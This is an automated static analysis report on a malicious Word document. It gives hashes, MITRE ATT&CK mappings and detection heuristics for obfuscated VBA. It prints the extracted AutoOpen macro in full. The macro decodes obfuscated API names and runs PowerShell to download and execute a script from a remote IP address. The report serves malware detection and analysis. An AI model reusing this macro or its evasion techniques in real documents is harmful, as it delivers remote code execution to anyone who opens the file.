Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b71431987f868589…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-06-10 04:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 5b649d0f3296a54071ac9ab517f173c0 SHA-1: 1d7067e351269a4f54b9875177e89425fb27f9e3 SHA-256: b71431987f868589c03cd7e0183c6be1dd7ebfc23e0fc086194dad4df6a8ff56
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File: User Execution T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros with an AutoOpen subroutine that is triggered upon opening the document. This macro uses obfuscated strings to construct a PowerShell command that downloads and executes a script from 'http://139.180.175.147/fullrun.ps1'. The use of CreateObject and CallByName with obfuscated API names indicates an attempt to hide malicious activity.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Banana\Desktop\dist\templatedocx.dotm
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://139.180.175.147/fullrun.ps1 OOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1012 bytes
SHA-256: 7b533f61a8c683c26ef07f279e188219a743e56dd2ea0a2d35fd37ea59682b08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        
        a = "UwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAA"
        b = "UwBoAGUAbABsAEUAeABlAGMAdQB0AGUA"
        cmdType = [Convert]:: Convert.FromBase64String (a)
        cmdCommand = [Convert]:: Convert.FromBase64String (b)
        cmdParams = ""

        cmdParams = cmdParams + " -Command 'ie" + "x (New-Obj" + "ect Net.WebClient).Dow" + "nloadS" + "tring(""http://139.180.175.147/fullrun.ps1"")'"
        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.Interaction.CallByName! cmdObj, [cmdCommand], VbMethod, "C:\Wi" + "ndows\SysW" + "OW64\Win" + "dowsPo" + "werShell\v1.0\powers" + "hell.exe", cmdParams
        

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: cb7b2acd84889659c266b2ae4649f4425fc5539a9e9fa6ea039c550696d17c51

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